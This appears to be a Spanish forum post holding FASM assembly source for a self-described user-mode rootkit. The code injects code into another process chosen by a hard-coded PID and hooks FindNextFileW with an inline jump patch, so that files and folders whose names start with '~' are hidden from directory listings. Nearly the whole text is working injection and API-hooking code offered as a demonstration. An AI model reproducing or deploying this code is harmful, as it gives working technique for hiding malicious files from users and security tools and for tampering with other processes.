[FASM] Pequeño user mode rootkit sin DLL ; ************************************************ ; *** Demostración de user mode rootikit ; *** sin usar dll que oculta archivos y ; *** carpetas que empiecen por "~". ; *** ; *** E0N Productions ; *** http://e0n-productions.blogspot.com/ ; ************************************************ include 'H:\archivos de programa\fasm\include\win32ax.inc' .data HookApi db 'FindNextFileW' , 0 ; Nombre del api a hookear HookDll db 'Kernel32.dll' , 0 ; Nombre de la dll que contiene el api a hookear DirApi dd ? ; Dirección del api a hookear process dd ? ; El handle del proceso donde inyectaremos pid dd 2160 ; El pid del proceso donde inyectaremos x dd 7 ; El número de bytes que tiene al principio el api a hookear (suelen ser 5 ó 7) BufferCall dd ? ; Puntero al buffer para llamar al api (en nuestro propio proceso) inyBufferCall dd ? ; Puntero al buffer para llamar al api una vez INYECTADO tamFun dd ? ; Tamaño de la función que suplantará al api inyFun dd ? ; Puntero a la función que reemplazará al api una vez INYECTADA BufferApi dd ? ; Buffer de 5 bytes que pondremos en el inicio del api FindNextFileW para que salte ; a nuestra función struct Datos sBufferCall dd ? ; Puntero a inyBufferCall para poder llamar al api original ends dat Datos ? SizeofDatos dd 4 ; El tamaño de la estructura, hay que ir contando los bytes dirStruct dd ? ; La dirección donde esta escribe la estructura una vez INYECTADA Prote dd ? ; Necesario para VirtualProtect .code start: ; Obtenemos el handle del proceso donde inyectaremos mov eax, PROCESS_VM_OPERATION or eax, PROCESS_VM_WRITE invoke OpenProcess, eax, FALSE, [pid] mov [process], eax ; Obtenemos la dirección del api a Hookear invoke GetModuleHandle, HookDll invoke GetProcAddress, eax, HookApi mov [DirApi], eax ; Creamos un buffer con los x primeros bytes del api a hookear ; y un salto al api + x para poder llamar con normalidad al api ; Estructura del buffer: ; x bytes | 1 byte | 4 byte | 1 byte ; x primeros bytes del api | push [0x68] | DirApi + x | ret [0xC3] mov eax, dword [x] add eax, 6 invoke LocalAlloc, LPTR, eax ; eax = x + 6 mov [BufferCall], eax invoke RtlMoveMemory, [BufferCall], [DirApi], [x] ; Copiamos los x primeros bytes del api mov eax, [BufferCall] add eax, [x] mov byte [eax], 0x68 inc eax mov ebx, [DirApi] add ebx, [x] mov dword [eax], ebx add eax, 4 mov byte [eax], 0xC3 ; Inyectamos el buffer que acabamos de crear y guardamos ; su dirección en inyBufferCall mov eax, MEM_RESERVE ; eax = MEM_RESERVE | MEM_COMMIT or eax, MEM_COMMIT mov ecx, [x] ; ecx = x + 6 add ecx, 6 invoke VirtualAllocEx, [process], 0, ecx, eax, PAGE_READWRITE mov [inyBufferCall], eax mov ebx, [x] ; ebx = x + 6 add ebx, 6 invoke WriteProcessMemory, [process], [inyBufferCall], [BufferCall], ebx, NULL ; Inicializamos la estructura con todos los datos necesarios para poder interceptar el api mov eax, [inyBufferCall] ; Metemos el puntero al buffer para llamar mov [dat.sBufferCall], eax ; con normalidad al api ; [...] ; Reservemos espacio para la estructura en el proceso a inyectar y la escribimos mov eax, MEM_RESERVE or eax, MEM_COMMIT invoke VirtualAllocEx, [process], 0, [SizeofDatos], eax, PAGE_READWRITE mov [dirStruct], eax invoke WriteProcessMemory, [process], [dirStruct], dat, [SizeofDatos], NULL ; Cambiamos el 0x0000 de la función a inyectar por un puntero a la estructura ; antes de inyectarla. mov ebx, CAMBIO ; ebx = El 0x0000 que hay que cambiar (4 bytes) sub ebx, 4 invoke VirtualProtect, ebx, 6, PAGE_EXECUTE_READWRITE, Prote invoke RtlMoveMemory, ebx, dirStruct, 4 ; Calculamos el tamaño de la función a inyectar mov eax, FIN_MyFindNextFileW sub eax, MyFindNextFileW mov [tamFun], eax ; Reservamos espacio para la función en el proceso a inyectar y la escribimos. mov eax, MEM_RESERVE ; eax = MEM_RESERVE | MEM_COMMIT or eax, MEM_COMMIT invoke VirtualAllocEx, [process], 0, [tamFun], eax, PAGE_EXECUTE_READWRITE mov [inyFun], eax invoke WriteProcessMemory, [process], [inyFun], MyFindNextFileW, [tamFun], NULL ; Creamos un buffer de 5 bytes que pondremos en el principio de la llamada a ; FindNextFileW en el proceso remoto para que salte a nuestra función. ; Estructura del buffer: ; 1 bytes | 4 bytes ; jmp [0xE9] | Tamaño del salto invoke LocalAlloc, LPTR, 5 mov [BufferApi], eax mov byte [eax], 0xE9 inc eax mov ebx, [inyFun] sub ebx, [DirApi] sub ebx, 5 ; 5 = -1 por el 0xE9 y -4 por la dirección mov dword [eax], ebx ; Modificamos el inicio del api FindNextFileW del proceso "víctima" para que ; salte a nuestra función que la suplantará. mov eax, MEM_RESERVE ; eax = MEM_RESERVE | MEM_COMMIT or eax, MEM_COMMIT invoke VirtualAllocEx, [process], [DirApi], 5, eax, PAGE_EXECUTE_READWRITE invoke WriteProcessMemory, [process], [DirApi], [BufferApi], 5, NULL ; Salimos invoke ExitProcess, 0 ; La función que suplantará al api proc MyFindNextFileW hFindFile, lpFindFileData OK: mov ebx, 0x0000 ; Este 0x0000 es remplazado anteriormente por el CAMBIO: ; programa por un puntero a la estructura inyectada. push [lpFindFileData] push [hFindFile] call dword [ebx] mov ebx, eax cmp ebx, 0 ; Si hemos terminado de listar todos los je RETORNAR_FIN ; archivos devolvemos 0 mov eax, [lpFindFileData] ; Nos situamos en add eax, 44 ; cFileName cmp byte [eax], '~' ; y ocultamos los que je OK ; empiecen por '~' mov eax, 1 ; Si aun quedan archivos por listar ret ; devolvemos 1 RETORNAR_FIN: mov eax, 0 ret endp FIN_MyFindNextFileW: .end start